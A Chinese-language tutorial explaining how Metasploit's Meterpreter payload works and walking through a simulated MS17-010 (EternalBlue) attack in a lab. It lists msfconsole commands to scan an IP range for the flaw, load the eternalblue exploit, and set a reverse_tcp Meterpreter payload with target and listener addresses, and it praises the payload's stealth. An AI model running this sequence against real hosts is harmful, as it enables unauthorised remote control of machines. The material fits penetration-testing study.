Meterpreter属于stage payload,在Metasploit Framework中,Meterpreter是一种后渗透工具,它 属于一种在运行过程中可通过网络进行功能扩展的动态可扩展型Payload。这种工具是基于"内存DLL注 入"理念实现的,它能够通过创建一个新进程并调用注入的DLL来让目标系统运行注入的DLL文件。
Meterpreter是如何工作的?
首先目标先要执行初始的溢出漏洞会话连接,可能是 bind正向连接,或者反弹 reverse 连接。反射连接 的时候加载dll链接文件,同时后台悄悄处理 dll 文件。其次Meterpreter核心代码初始化,通过 socket套 接字建立一个TLS/1.0加密隧道并发送GET请求给Metasploit服务端。Metasploit服务端收到这个GET请 求后就配置相应客户端。最后,Meterpreter加载扩展,所有的扩展被加载都通过TLS/1.0进行数据传输。
Meterpreter的特点:
Meterpreter完全驻留在内存,没有写入到磁盘
Meterpreter注入的时候不会产生新的进程,并可以很容易的移植到其它正在运行的进程
默认情况下, Meterpreter的通信是加密的,所以很安全
扩展性,许多新的特征模块可以被加载。
我们在设置 payloads 时,可以将 payloads 设置为:windows/meterpreter/reverse_tcp ,然后获得了 meterpreter> 之后我们就可以干很多事了!
MS17_010(永恒之蓝)
我们现在模拟使用 MS17_010 漏洞攻击,这个漏洞就是去年危害全球的勒索病毒利用的永恒之蓝漏洞。 kali控制台输入:msfconsole 进入metasploit框架
寻找MS17_010漏洞: search ms17_010
这里找到了两个模块,第一个辅助模块是探测主机是否存在MS17_010漏洞,第二个是漏洞利用模块, 我们先探测哪些主机存在漏洞
辅助模块(探测模块)
输入命令:use auxiliary/scanner/smb/smb_ms17_010
查看这个模块需要配置的信息:show options
RHOSTS 参数是要探测主机的ip或ip范围,我们探测一个ip范围内的主机是否存在漏洞 输入:set RHOSTS ip地址
输入:exploit 攻击,这里有+号的就是可能存在漏洞的主机
漏洞利用模块
然后我们就可以去利用漏洞攻击了,选择漏洞攻击模块:
use exploit/windows/smb/ms17_010_eternalblue
查看这个漏洞的信息:info
查看可攻击的系统平台,这个命令显示该攻击模块针对哪些特定操作系统版本、语言版本的系统:show targets
这里只有一个,有些其他的漏洞模块对操作系统的语言和版本要求的很严,比如MS08_067,这样就要 我们指定目标系统的版本的。如果不设置的话,MSF会自动帮我们判断目标操作系统的版本和语言(利用 目标系统的指纹特征)
查看攻击载荷:show payloads
设置攻击载荷:set payload windows/x64/meterpreter/reverse_tcp
查看模块需要配置的参数: show options
设置RHOST,也就是要攻击主机的ip:set RHOST 192.168.125.138
设置LHOST,也就是我们主机的ip,用于接收从目标机弹回来的shell:set LHOST 192.168.125.129
如果我们这里不设置lport的话,默认是4444端口监听
攻击: exploit